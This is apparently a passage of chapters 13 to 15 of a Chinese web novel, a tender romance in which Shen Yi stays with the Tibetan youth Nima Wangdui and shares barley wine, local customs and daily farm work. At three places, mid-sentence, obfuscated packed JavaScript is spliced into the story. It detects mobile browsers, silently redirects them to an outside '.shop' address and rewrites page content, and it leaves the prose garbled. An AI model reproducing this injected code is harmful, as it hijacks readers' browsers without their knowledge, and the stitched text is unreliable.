沈翊听不懂,却见尼玛旺堆立刻停下脚步,脸上露出一种混合着恭敬和腼腆的神情,也用藏语快速回应。妇人目光扫过沈翊,善意地笑了笑。那笑容纯粹直接,毫无都市人际交往中常见的打量或距离感,让习惯防备的沈 翊一时有些无措。 两人交谈几句,妇人便匆匆朝尼玛旺堆指的方向寻去了,步伐快而稳。 “她不热吗?”沈翊望着她的背影,没话找话。那黑袍看上去厚重,高原午后的阳光也颇有热度。 尼玛旺堆摇摇头,“习惯了吧。”他顿了顿,忽然问,“你有没有发现,这一路看到的,大多是男人在放牧或照看?” 沈翊一怔,点了点头。 尼玛旺堆挠了挠他那头微卷的黑发,神情变得有些谨慎,甚至可以说困扰。“我要是说实话……会不会被说成是刻板印象,或者别的什么?”他问得认真,像个在课堂上担心答错题的学生。 沈翊被他这突如其来的“学术警惕”弄得有些想笑,又觉得莫名可爱。“说说看,观点而已。” 尼玛旺堆看了他一眼,似乎下了决心,声音低了些:“刚才那位阿姨,丈夫前些年出车祸走了。如果家里没有其他成年男子帮衬,像她这样的,要么回娘家,要么……很可能就会再嫁。”他用脚拨开小径上一截枯枝, “在我们这儿,半农半牧,劳动力很重要。有时候,一个家要撑下去,光靠一个人……很难。” 他的话很平实,没有渲染悲情,却让沈翊心头微微一沉。他想到了自己那面目模糊的父亲和歇斯底里的母亲,想到了都市里那些看似独立、实则被各种无形绳索捆绑的男男女女。苦难的形式千差万别,但其沉重的本质,似乎并无不同。 他低着头又说,“接下来的话,可能会有点迷信,但是我希望你不会用片面的观点看待这件事情。” “他们家那年运气不好。”尼玛旺堆弯腰捡起那截枯枝,在手里无意识地转动着,“出事前,村里有长辈劝过她丈夫,那年不要出远门跑车。他没听。”他将枯枝轻轻抛进一旁潺潺的小溪,看着它被水流带走,“结果, 一车人,就他没了。” 沈翊默然。这听起来像是一个关于轻信或固执的普通悲剧,但他从尼玛旺堆低沉的语调里,听出了一丝超越个体机遇的、对命运无常的惘然。 尼玛旺堆忽然从口袋里掏出几颗水果糖,摊在手心,递到沈翊面前。“吃糖吗?”他问,脸上那种沉重的神情还未完全散去,配上这个略显孩子气的举动,有种奇异的反差。 沈翊看着他骨节分明、肤色微深的手掌,心跳漏了一拍。他避开对方的目光,指尖快速掠过那颗粉色的糖,低声道:“谢谢。” 尼玛旺堆自己也剥了一颗放进嘴里,腮边鼓起一个小包。他边走边说,语气恢复了之前的平缓,却更深入了些:“后来,他们家请人做了法事。藏语里叫‘帕度’,意思是,帮滞留在原地的灵魂离开,去该去的地方。” 他侧头看了沈翊一眼,似乎在观察他的反应,见沈翊只是安静听着,才继续说:“我姐……以前常会在晚上某个时辰,用糌粑、奶渣、酥油混合,放在燃烧过的牛粪余烬上煨烧,算是给那些无人祭祀的游魂一点吃食。她总说,烧起来的味道不好闻,也不知道‘他们’吃着开不开心。” 这番话,若在都市酒桌上讲出,多半会被当作怪谈或迷信。但在此刻的旷野,在尼玛旺堆平静的叙述里,却透出一种对生死、对生命的朴素尊重和温柔关照。沈翊感到胸口某处被轻轻撞了一下。他见过太多精致的利己主义者,却很少遇到这样自然而然的悲悯。 “所以,”尼玛旺堆踢开一块小石子,声音更轻了,“如果她能找到人一起撑起那个家,或许就不用离开熟悉的土地和回忆。”他忽然仰起头,望着湛蓝得有些不真实的天穹,喉结滚动了一下,“你看那云,形状真有意思。” 沈翊循着他的目光望去。流云舒卷,寂静无边。他知道,尼玛旺堆不想再继续这个话题了。这份体贴的戛然而止,比任何安慰都更让人心头发软。 “走吧。”沈翊主动说。 他们走到湿地边缘的栏杆处,发现有一段被牛撞歪了。尼玛旺堆“嘿”了一声,上前用力将栏杆抬起,又从旁边搬来几块大石头垫在下面加固。他做这些时动作利落,手臂和肩背的肌肉在衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182985|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物下显出流畅的线条。沈翊站在一旁,看着他专注的侧脸和微抿的嘴唇,一时忘了移开目光。 直到尼玛旺堆拍了拍手上的灰,回头冲他一笑:“好了,安全些。”沈翊才仓促地点头,率先跨过了栏杆。 土路对面,是著名的年楚河。冬季水势减缓,河面显得宁静。对岸的树上,挂着一些褪色的经幡,在风中微微拂动。 “在山上挂经幡常见,水里也会挂?”沈翊停下脚步,好奇地问。 尼玛旺堆顺着他指的方向看去,嘴角弯了弯:“网上不是说嘛,转山转水。其实是我们的一种习俗。”他耐心 解释起来,什么要看藏历吉日,要结合家人生肖,何时挂、怎么挂都有讲究。说到具体操作,他眼睛微微发亮,比划着如何挑选树枝、缝制五色布、系上羊毛,如何在寒冷的凌晨上山,完成那一系列充满仪式感的步骤。 “你在网上肯定没见过这种吧?”他略带得意地问,那神态像个分享秘密宝藏的少年。 沈翊诚实地摇头,目光却不由自主地落在尼玛旺堆神采飞扬的脸上。此刻的他,与之前谈及沉重话题时判若两人,整个人笼罩在一种发自内心的热爱与归属感之中。这种鲜活而扎实的生命力,对刚从情感废墟中爬出来的沈翊而言,有着致命的吸引力。他不仅是在听一个习俗,更是在窥见一个灵魂如何被他的文化和土地滋养得如此丰厚。 “其实,”尼玛旺堆掏出手机,点开一个叫“**藏历”的小程序,屏幕的光映亮他的眼眸,“很多传统的东西,都在以新的方式留下来。”他指着其中一个图标,“这是老日喀则的标志,听说当初是画师把布达拉宫的图刻在萝卜上带回来仿建的,路上萝卜干了,样子也就变了。” 他讲述这个带着传奇色彩的故事时,眼神悠远,仿佛能穿透时间,看到那个奔波在路上的画师和那块渐渐风干的萝卜。沈翊静静听着,忽然问:“那你个人……更喜欢以前的,还是现在的?” 尼玛旺堆滑动屏幕的手指顿了顿。半晌,他才开口,声音平静得像远处的年楚河水:“喜欢或不喜欢的,该消失的总会消失。能留下来的,照片、歌、文字……总会有人记得它原来的样子。最重要的是,”他抬起头,看向沈翊,目光清澈而直接,“珍惜眼前还能触碰到的,不管是东西,还是……人。” 最后几个字,他说得很轻,却像一颗小石子投入沈翊心湖,漾开层层涟漪。沈翊仓促地垂下眼,假装对手机屏幕上复杂的藏历界面产生了浓厚兴趣,耳根却微微发热。他不知道这是尼玛旺堆无心的感慨,还是某种含蓄的指向。理智告诉他别多想,情感却不受控制地为此悸动。 回会时,那位下棋的老人已用帽子盖着脸,在午后的暖阳下打起了盹。他们放轻脚步走过去。 但老人似乎并未睡着,他起身,掀开盖在脸上的帽子,朝尼玛旺堆的方向扬了扬手,声音洪亮地喊了句藏语。 尼玛旺堆快步过去,伸手握住老人的左手,微微用力将他带起来。老人笑着摆摆手,从怀里掏出一个手工编织的布袋,不由分说地塞进尼玛旺堆手中。 尼玛旺堆摇头,指着不远处的摩托车想要推拒,老人却执意按住他的手,又转向沈翊,布满皱纹的脸上绽开一个友善的笑容,随即转身,步伐缓慢却稳当地走向自己的三轮车。 13. 青稞酒 尼玛旺堆没再坚持,他放下布袋,跟上去,直到看着老人坐稳、车子发动,才转身往回走。沈翊下意识朝他迈步,想问问那袋子里是什么。 “小心——!” 尼玛旺堆的喊声与溅起的水声几乎同时抵达。沈翊只觉得小腿一凉,低头看去,裤腿已染上一片污黑的泥点。刚才只顾着看尼玛旺堆和老人,没留意脚下一个小水洼。 尼玛旺堆几步冲到他跟前,毫不犹豫地蹲下,伸手就去拧他湿透的裤脚。他的动作有些急,手指隔着湿冷的布料,不可避免地触碰到沈翊的皮肤。那触感温热而粗糙,带着常年劳作留下的力度。 沈翊僵在原地,低头只能看见尼玛旺堆浓密的发顶和专注的侧脸。空气仿佛静止了,只剩下布料被拧绞的细微声响,以及他自己骤然加快的心跳。他该说点什么,比如“没事”、“我自己来”,但喉咙像是被什么堵住了。 尼玛旺堆很快拧干了水,站起身。四目相对的一瞬,沈翊看到他眼里还残留着未褪去的紧张,随即那紧张化为了然和一丝不易察觉的……懊恼?或许是为自己的疏忽。 “先去那边坐会儿。”尼玛旺堆移开视线,声音恢复了平时的平稳,指向之前老人歇脚的地方。 他走到摩托车旁,从厢子里拿出一卷色彩鲜艳的毡毯,利落地铺在相对干燥的地面上,示意沈翊坐下。接着,他指了指沈翊的鞋。沈翊顺从地脱下湿漉漉的鞋袜,尼玛旺堆接过去,仔细地摆放在一旁的栏杆上,让午后的阳光能晒到。 做完这一切,他才拿起那个布袋,掏出一个用大号饮料瓶装着的液体。瓶子在阳光下泛着微光,里面的液体略显浑浊,浸泡着饱满的青稞粒,呈现出一种介于乳白和米黄之间的柔和色泽。 “尝尝?”尼玛旺堆晃了晃瓶子,看向沈翊。 “这是?” “青稞酒。”他回答得干脆,以及变魔术般拿出一个木碗。他先在碗底铺了一层糌粑,又在碗沿捏了个小小的糌粑三角,然后才小心地打开瓶盖。气泡“噗”地涌出,溅出几滴,空气里立刻弥漫开一股浓郁而独特的发酵气息。 他稳稳地倒满一碗,随即伸出右手的无名指,在酒面轻轻一蘸,接着抬手,庄重而迅速地朝天空弹了三下。做完这些,他才将碗递给沈翊,语气带着点歉然:“没带多余的碗,不嫌弃的话。” 沈翊双手接过,笑着道,“不嫌弃的”。碗里的糌粑被酒液浸泡得微微浮起,像一层细腻的泡沫。他迟疑了一瞬,看着尼玛旺堆坦荡期待的眼神,心一横,低头浅浅抿了一口。 一股强烈、醇厚、甚至带着些粗粝感的苦涩瞬间席卷了味蕾,沈翊的眉头不受控制地紧紧拧在一起。他强忍着咽下,喉间被苦涩充满。 尼玛旺堆一直看着他,见状立刻伸手接过碗,不解的就着沈翊喝过的地方,喝了一大口。他的眉毛也拧了起来,随即却笑了,笑容里有种了然和无奈:“这是老人喝的酒,劲儿大,还苦。我们喝不惯。”他语气自然,仿佛共享一个碗是再平常不过的事。 沈翊看着他沾着酒渍的嘴唇开合,耳根有些发热,忙借着掏手机的动作掩饰:“卖相很好,拍一张。”他胡乱拍了几张照片,阳光下的青稞酒瓶和那只古朴的木碗,竟有种拙朴的美感。 尼玛旺堆笑着,又把碗倒满,递给他:“再拍这个?” 沈翊摆手,忍不住也笑了。 尼玛旺堆不再勉强,拿起瓶子走向不远处的牛群。不知他从哪儿变出一个小桶,将酒倒了进去,放在几头牛面前。一头白色的小牛犊凑过来,试探地嗅了嗅,便低头畅饮起来,喝完了还不肯走,用脑袋蹭着桶边。尼玛旺堆笑着轻轻推开它,把桶挂到一棵矮树的枝桠上。 就在这时,之前遇到的那位妇人从侧面快步走来,对尼玛旺堆说了几句藏语,神情有些急切。尼玛旺堆认真听着,用力点头,然后回头朝沈翊喊了句:“我马上回来!”便跟着妇人匆匆往栏杆外走去。 沈翊看着他们走远,那妇人几乎是拉着尼玛旺堆的手臂,脚步飞快。他独自坐在毡毯上,四周是空旷的湿地和安静的牛群,一种微妙的、被留下的感觉悄然滋生。他甩甩头,觉得自己有些矫情。 没过多久,尼玛旺堆就回来了,手里拿着另一个瓶子,里面的液体清澈许多。“硬塞给我的,”他晃了晃瓶子,有点无奈,但眼里带着光,“这个好,适合我们喝。” 他倒掉之前那碗苦涩的酒,用袖子随意擦了擦碗,再去傍边的清水洗一下,重新斟满新的。这次他自己先尝了一口,眯了眯眼,点点头,才把碗递给沈翊。 沈翊看着那碗沿,方才两人嘴唇先后碰过的地方,心跳又乱了一拍。他接过来,在尼玛旺堆明亮的注视下,小心地喝了一口。口感截然不同,微甜,醇和,带着青稞特有的香气,顺着喉咙滑下,暖意缓缓扩散开。 “好喝。”沈翊真心实意地说,声音比平时柔和了些。 尼玛旺堆眼睛更亮了,自己也喝了一大口,品了品:“嗯,这大概是酿造时,第三道的酒,最顺口。” 冬日的阳光斜照在身上,暖融融的。他们并肩坐在毡毯上,远处有流浪狗和小牛犊在嬉戏打闹,时光缓慢得如同身边流淌的年楚河水。 宁静被一阵电动车的声音打破。一个看上去不过十几岁的女孩,小心翼翼地从车上下来,手里捧着一个用哈达包裹的小包袱,另一只手提着沈翊在尼玛旺堆家见过的、那种装香料和糌粑的布袋。她脚步很轻,朝着河边走去。 沈翊心里一紧,下意识看向尼玛旺堆。尼玛旺堆只是瞥了一眼,轻轻摇了摇头,示意他别动。女孩走到年楚河边,熟练地踏上一块凸出水面的石头,蹲下身,取出牛粪和香料,开始焚烧,低声念诵着什么。 烟雾袅袅升起。 沈翊忽然明白了什么,屏住了呼吸。他看见女孩打开哈达,里面露出一只小小的、显然已经死去多时的小猫。她动作轻柔地,将那个小小的躯体放入河中。水流带着它缓缓漂远,女孩站在石头上,久久凝望,直到它变成视线尽头一个模糊的黑点,才双手合十,默默祈祷了片刻,添了些香料,转身离去。 整个过程寂静而庄重。 沈翊第一次亲眼目睹这样的“水葬”,为一只猫。 没有哭泣,没有喧哗,只有一种近乎神圣的平静送别。他心里堵着什么,沉甸甸的,却又奇异地感到一种释然。他转过头,发现尼玛旺堆正静静地看着他,目光深邃,仿佛理解他所有的震撼与沉默。 夕阳西下时,湿地开始热闹起来。人们陆续赶来,用绳子或轻声吆喝,领着自家的牛回家。牛群似乎也懂得归家的信号,亲昵地跟在主人身后。喧嚣随着最后一抹晚霞散去,偌大的湿地只剩下他们两人,和一群不愿离去的健壮牦牛。 尼玛旺堆仔细关好栏杆门。沈翊穿上已被晒得暖烘烘的鞋子,再次坐上摩托车后座。 来时他小心保持着距离,此刻,疲惫和某种难以言喻的心绪让他松懈下来。当尼玛旺堆为避开坑洼猛然加速时,沈翊的身体因惯性向前倾,胸膛轻轻撞上对方的后背。 隔着厚厚的衣物,他依然能感受到那副身躯传来的温热和坚实的触感。尼玛旺堆似乎僵了一瞬,但没有说话,只是腰背挺得更直了些,仿佛为他提供了一个更稳定的依靠。 沈翊没有立刻拉开距离。寒风呼啸着掠过耳畔,他却觉得脸颊发烫。他悄悄地、极轻地,将额头抵在了尼玛旺堆的背上,闭上了眼睛。 前方,尼玛旺堆的嘴角,在呼啸的风中,几不可察地向上弯了一下。他握紧车把,将摩托车开得越发平稳,向着家的方向,向着那片炊烟即将升起的土地,稳稳驶去。 回家路上,经过一片农田,一位大姐正穿着防水靴引水冬灌。 “阿佳尼玛!”尼玛旺堆扬声喊道,用的是藏语昵称。 对方大声回应,声音在暮色中传得很远。尼玛旺堆缓慢停下车,对沈翊说:“等我一下,很快。” 他跑向田边,跟大姐说了几句,不一会儿,竟抱着一个七八岁大的男孩回来了。孩子脸颊冻得通红,像两颗小苹果,眼睛却亮晶晶的。尼玛旺堆把他放在自己身前坐好,用藏语叮嘱着什么,孩子乖巧地点头,然与沈翊面 对面,小孩好奇地打量着被裹得严严实实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182986|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈翊。 “哥哥,”他用带着浓重口音的汉语说,咧开嘴,露出两颗可爱的虎牙,“你长得真白。” 沈翊忍不住笑了,隔着围巾闷声说:“谢谢你,你也很可爱。” “是帅气!”男孩立刻纠正,小脸一本正经。 “对,帅气。”沈翊从善如流。 男孩满意了,又带着点小骄傲说:“我是家里最帅的!只有我敢在晚上陪阿妈出来!” 沈翊心头微动,轻声问:“那爸爸呢?” 男孩眨了眨眼,笑容淡了些,似乎不知该如何回答。这时,尼玛旺堆的声音插了进来,同时用藏语和汉语说:“抓紧我,前面路陡。” 接下来的土路布满细沙,摩托车速度放得很慢。尼玛旺堆一手稳着车把,另一只手下意识地护住身前男孩的后背上。沈翊看着他的背影,宽阔的肩膀仿佛能为身前身后的人都挡去风寒。一种混合着柔软与酸涩的情绪,悄然漫上心头。 到家时,男孩已在尼玛旺堆怀里睡得香甜。阿妈米玛啦还没睡,坐在温暖的火炉边,一手捻佛珠,一手摇转经筒,低声诵经。见他们回来,她立刻放下手中的东西,迎上来,先是慈爱地接过熟睡的孩子,安顿在铺着厚厚羊毛垫的床上,盖好被子,然后才为他们倒上滚烫的酥油茶。 茶香、藏香、还有屋里暖融融的气息包裹上来。沈翊安静地坐在火炉边,听着阿妈米玛啦用藏语轻声细语地与儿子交谈,那声音柔软而绵长,像一首他听不懂却倍感安心的歌。今晚的面食据说是尼泊尔来的,形状有趣,汤汁鲜美。 深夜,洗漱完毕,沈翊终于忍不住问:“那孩子……是亲戚?” “不是。”尼玛旺堆摇摇头,把香炉仔细放进床褥深处,“村里一户人家的。男人常年在外打工,家里就女人一个人撑着,忙里忙外。孩子还小,嘴上逞强,脚底却冰凉。碰上了,就带回来住一晚,暖和暖和。” 他顿了顿,声音在寂静的夜里更显清晰:“这地方,你也看到了,半农半牧,活儿多。有时候,一个家要立得住,光靠一个人,太难。”他话锋一转,提到了那个外界常带有猎奇眼光看待的习俗,语气平静得像在讨论天气,“所以以前会有‘一妻多夫’,大多是一个女人嫁给兄弟俩,一个外出挣现钱,一个留在家里操持农活牧事,互相帮衬着,把日子过下去。没那么神秘,也没那么……不堪。说到底,是在这片土地上活下去的一种法子。” 他看向沈翊,目光澄澈:“我姐姐不愿结婚,很多这里的姑娘也开始想走出去看看。留下来的,有的家里只有一个男人,女人的担子就重得喘不过气。能帮一点,是一点。” 沈翊静静地听着。他想起大学课堂上的争论,想起那个面红耳赤的藏族女同学。此刻,那些抽象的概念在尼玛旺堆真诚的叙述中,化为了具体的人,具体的生活,具体的挣扎与相濡以沫。他看到的不是奇观,而是生存的智慧与无奈。 “我明白。”沈翊说,声音很轻,却足够认真,“存在自有其缘由。尊重别人的生活,是最基本的。” 尼玛旺堆看着他,昏暗的光线下,他的眼睛格外明亮。过了几秒,他才轻轻点了点头,说:“谢谢。” 这声“谢谢”很轻,却沉甸甸地落在了沈翊心上。他知道,这不只是礼貌。在这一刻,他感到自己不再仅仅是一个被接待的客人,而是一个被允许窥见并试图理解这片土地复杂的同行者。而让他获得这份认可的桥梁,正是眼前这个看似粗犷、内心却如湖泊般深邃清澈温柔的青年。 期间,尼玛旺堆将暖床用的陶制香炉搬出来,搁在门口。他蹲在那儿添香,动作很轻,背脊的线条在昏暗光线下显得格外沉默。半晌,他忽然开口,声音不高,却像一块石头投入夜的深潭:“我总希望,以后的西藏姑娘,能活得自在些,想去哪儿就去哪儿,想怎么过就怎么过。”他顿了顿,手指无意识地摩挲着香炉边缘,“‘一妻多夫’……外面的人当奇闻看,可它就在那儿,像这山一样,是生活的一部分。我以前也天真,觉得过得不好,走就是了。后来才懂,一个女人,尤其是母亲,脚下拴着的不是绳子,是整座山。” 14. 捡牛粪 他讲起邻村一户人家。 长子意外身亡,留下妻子和三个年幼的孩子。“如果没有那个小儿子顶上,她就得走。孩子带不走,回娘家,娘家不一定能回,还是会被嫁到了新地方,还得再生……” “生育,这本该是天地间最值得尊重、赞美的行为。可是在时间流逝朝代更替政权变替中,生育成为女性的枷锁,沦为了生育工具。 生育,怎么就成了捆住她们手脚的锁链?”他话语里没有愤怒,只有一种深切的、近乎疼痛的困惑。这困惑源自他目睹的真实生活,而非任何书本上的理论。 沈翊怔住了。 他望着尼玛旺堆灯光下微光的侧脸,这张总是带着腼腆或直率笑容的脸,此刻却笼罩着一种与他年龄不符的沉静与厚重。大学时那个在社会学课堂上为女性权益争得面红耳赤的女孩的身影,此刻竟奇异地与眼前这个青年重叠。 她最后那句“觉醒本身,对很多人来说就是‘不安分’”的叹息,仿佛穿过岁月,在此刻得到了回响。 “她们觉醒不该是罪过。”尼玛旺堆最后说,语气平静却坚定。他点燃藏香,青烟笔直上升,在灯光下氤氲出朦胧的光柱。他将香炉端到外面大厅,清冽的香气丝丝缕缕飘散回来。 沈翊坐在原地,看着那袅袅的烟迹出神。自己与江泽那点撕心裂肺的情爱纠葛,在这个关乎生存方式、群体命运的沉重话题面前,忽然显得无比渺小,甚至有些可笑。他正沉溺在这种自惭与恍然交织的情绪里,尼玛旺堆又回来了。 他手里捧着一个黄铜的酒器,造型古朴,顶部敞开,里面浅碧色的酒液随着他的步伐轻轻晃动。器口和配套的木碗边沿,都用糌粑精巧地捏了一个小小的三角。他眉眼舒展,带着一种分享秘密的愉快:“妈妈酿的酒,这是第一批,甜得很。跟强巴爷爷那个可不一样。” 他将酒器放在小桌上,先给沈翊倒满一碗,动作小心,仿佛那酒液是某种易碎的珍宝。然后才给自己满上。他端起碗,用无名指蘸酒,向着虚空郑重地弹洒三次,这才就着碗沿喝了一口,眼睛满足地弯起来。 沈翊学着他的样子,完成那简单却充满敬意的仪式,然后喝了一口。清甜温润的液体滑入喉中,带着青稞特有的香气,瞬间驱散了先前那苦涩记忆和沉重思绪带来的滞闷 “很甜。”沈翊抬眼看他,诚心赞道。 “嗯。”尼玛旺堆笑得更开,竖起食指在唇边,压低声音,“偷拿的,别让我阿妈知道。”那神情像个恶作剧得逞的大男孩,瞬间将方才谈论沉重话题时的阴霾扫去大半。 一碗甜酒下肚,身体暖了起来,心也仿佛被熨帖平整。两人各自躺进被窝,黑暗笼罩下来,只剩下窗外高原清澈的星光,和彼此清浅的呼吸。 “明天做什么?”沈翊望着星空,随口问,心里竟真生出几分期待。 “捡牛粪。”尼玛旺堆的回答干脆利落,不带丝毫铺垫。 沈翊在黑暗中眨眨眼,怀疑自己听错了:“捡……什么?” “捡、牛、粪。”尼玛旺堆一字一顿,语气里甚至带着点恶作剧般的肯定。 沈翊沉默了几秒,试图消化这个极具冲击力的答案,最终还是没忍住:“……臭吗?” 旁边传来一声极低的轻笑,像羽毛扫过耳廓。“不知道你会不会觉得臭。我习惯了,”尼玛旺堆的声音在黑暗里显得格外清晰,甚至有点温柔,“只觉得它晒干了,烧起来很暖和。” 很奇怪,这句朴实到极点的话,竟让沈翊想象出牛粪火炉散发出的那种干燥温暖的热度,以及尼玛旺堆蹲在火边添柴的专注身影。他翻了个身,面朝尼玛旺堆床铺的方向,尽管什么也看不清,却还是对着那片黑暗低声说:“忽然有点期待明天了。” 对面静了片刻。然后,沈翊听到尼玛旺堆用比平时更轻、更缓的语调说: “真好。” “晚安。” “晚安。” 夜更深了,香炉里逸出最后一缕宁神的香气。 沈翊在黑暗中睁着眼,听到对面床上传来尼玛旺堆逐渐均匀绵长的呼吸声。 腿侧似乎还残留着摩托车颠簸时无意轻触的温度,指尖仿佛还能感受到接过酒碗时,对方指尖短暂擦过的微糙 触感。 一种陌生的、细密的渴望,混杂着对明日不知还能分享何种光景的期待,悄悄漫过心堤。他不敢深想,只是将脸埋进充斥着阳光与皂角气息的被褥里,闭上了眼睛。 强迫自己不要去想。 后半夜,沈翊醒了一次。并非因为寒冷或不适,而是一种奇异的清醒。白日的画面一一从眼前闪过。尼玛旺堆谈论女性命运时紧抿的唇、递来甜酒时亮晶晶的眼、说到“暖和”时平和的语气,走马灯似的在脑中旋转。心绪被一种陌生的充盈感涨满,微微发胀,带着酥麻的痒。他意识到,自己想起江泽的次数,真的越来越少了。而占据他思绪的,是另一种更为扎实、也更为忐忑的期待。这期待无关风月,却又仿佛浸透了此刻窗外的月光,清冽而分明。 再次被叫醒时,天光已大亮。阿妈米玛啦早已备好酥油茶,正用藏语细细叮嘱着儿子。沈翊捧着温热的茶碗,看着尼玛旺堆一边应声一边利落地收拾东西,晨光勾勒着他忙碌的身影。沈翊忽然很想知道他们在说什么,这种被排除在语言之外的微妙距离感,第一次让他产生了想要主动跨越的冲动。 出发时,尼玛旺堆没骑摩托,而是开出了一辆半旧的三轮车。驾驶室狭窄,两个成年男人挤在里面,肩膀大腿不可避免地挨碰着。沈翊尽量靠边,尼玛旺堆却似乎浑然不觉,熟练地发动车子。车身颠簸时,两人的胳膊肘轻轻撞在一起,又迅速分开,那触感却留在了皮肤上,久久不散。 捡牛粪的地方在一片休耕的田野里。出乎沈翊意料,这里颇为“热闹”。几个孩子一手提着麻袋,一手还攥着藏文课本,有的坐在袋子上念念有词,有的已经手脚麻利地开始干活。远处,他们的母亲或祖母也在弯腰忙碌。 尼玛旺堆跟一位面熟的妇人打过招呼,转手递给沈翊一副粗布手套:“戴上。不想捡就去跟孩子们说说话,我帮那边把袋子运过去就来。” 沈翊看着脚边那坨风干成饼状的牛粪,深吸一口气,其实没什么异味,只需要闭上眼睛,下手快狠准,跨过心理上的难受就可以了。冰凉的、带着草梗粗糙触感的物体落入掌心,竟没有想象中难以接受。 “喂!”一个声音在旁边响起。沈翊抬头,是个七八岁岁的小男孩,脸蛋红扑扑的,用藏语冲他说了一串话,眼神亮亮地看着他。 沈翊摇头,用汉语说:“听不懂。” 男孩抓抓头,换成了生硬的汉语:“你,要帮忙?” 沈翊还没完全明白他的意思,男孩已经哗啦一下,把自己麻袋里捡好的牛粪全倒进了沈翊的袋子里,然后转身就跑,像只敏捷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182987|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羚羊,在凹凸不平的田垄上几个起落就远了。 “哎,谢谢!”沈翊提着忽然沉甸甸的袋子,只能冲着那小小的背影喊道。男孩回过头,用力挥了挥手,笑容在阳光下灿烂无比。 尼玛旺堆回来时,看到沈翊那半满的袋子,挑了挑眉:“可以啊。感觉像是在用劳动换住宿费?” “那我得多干点。”沈翊拍拍手套上的灰,笑了。 尼玛旺堆很自然地接过他手中的袋子,掂量了一下,轻松甩上肩头:“歇会儿吧。”他扛着袋子走向三轮车的背影稳当而有力。 沈翊跟在后面,看着他肩背肌肉因用力而微微绷紧的轮廓,还有那被阳光晒得发亮的后颈,心跳莫名漏了一拍。他移开视线,看向空旷的田野和远山,一种极为纯粹的、近乎傻气的快乐,毫无征兆地涌了上来。 装满车斗已近中午。尼玛旺堆递来一个保温杯,里面是泡了茶叶的开水:“阿妈让带的。” 沈翊接过来,指尖碰到对方温热的手背。他低头喝水,水温正好,带着茶叶淡淡的苦涩回甘。两人靠在车边,望着寂静无人的原野,只有风吹过枯草的沙沙声,和偶尔掠过头顶的鸟群。 回去的路上,尼玛旺堆放了音乐,是节奏轻快的藏语歌。他跟着旋律轻轻哼着,手指在方向盘上敲打节拍。沈翊坐在旁边,看着窗外飞速后退的荒凉景色,第一次觉得,这样简单重复的劳作,这样一眼能看到头的平凡日常,竟蕴含着如此踏实饱满的愉悦。当然,他知道这快乐如同此刻车窗外的阳光,明亮却终会偏移。他不可能永远停留在这辆颠簸的三轮车里,留在这个弥漫着牛粪和酥油茶香气的院落。但这“暂时”的每一刻,都像尼玛旺堆酿的首次酿的酒,清甜醉人,让他甘之如饴。 到家时,他们两个上去喝茶休息一下,阿妈米玛啦正一边诵经,一边转动着巨大的转经筒,佛珠在她指间规律滑动。这一幕沈翊已渐渐熟悉,但每次看见,仍会为那份沉浸与宁静感到触动。她早已将生活与信仰拧成一股从容不迫的节奏。 休息一会儿后两人下去感活。卸车、传递、晾晒……两人配合默契。尼玛旺堆在屋顶上铺开牛粪,沈翊在下面将牛粪块装进竹筐递上去。阳光晒得人后背发烫,劳作让身体微微出汗,却奇异地不觉得累。 “吃饭了——”阿妈米玛啦从窗户探出头,用生涩却清晰的汉语喊道。她一直暗暗在学汉语。 “马上!”尼玛旺堆在屋顶应道,声音清亮。 “好!”沈翊也仰头应了一声,抬手擦去额角的汗,恰好看见尼玛旺堆低头看他。两人隔着一段距离,在明亮的阳光下相视一笑。 午饭是简单却实在的米饭、土豆烧牛肉和风干肉。饭后,尼玛旺堆很自然地收走了沈翊的碗筷去洗,而阿妈米玛啦则用剩余的菜汤涮了涮自己的木碗,将混合的汤水倒入门外狗食盆里。一切都有条不紊,充满生活的智慧。 下午没有别的安排。尼玛旺堆拿起扫帚,开始打扫房间,从这间到那间,细致又耐心。沈翊想帮忙,却发现自己不知该从何插手,只能坐在火炉边,看着这个青年沉默而专注地维持着这个家的洁净与秩序。 喂牛、添水、归置物品……他的身影穿梭在院落与楼上、楼下的房间之间,仿佛不知疲倦。 夜幕再次降临。火炉边的晚餐,阿妈米玛啦的诵经声,空气里熟悉的藏香气味。尼玛旺堆将暖好的香炉放进被褥,很快传来均匀的呼吸声。 15. 佛堂与诵经声 劳累像一床厚实的羊毛被,那些盘踞心头的往事碎片,失去了趁虚而入的间隙。 沈翊也躺下了,身体因白日劳作而泛着舒适的酸软。临睡前模糊的印象里,是阿妈米玛啦悄悄进来,为他们掖好被角,又仔细检查了窗户是否关严。那动作轻柔得像一阵夜风,带着母亲特有的、无需言说的关切。 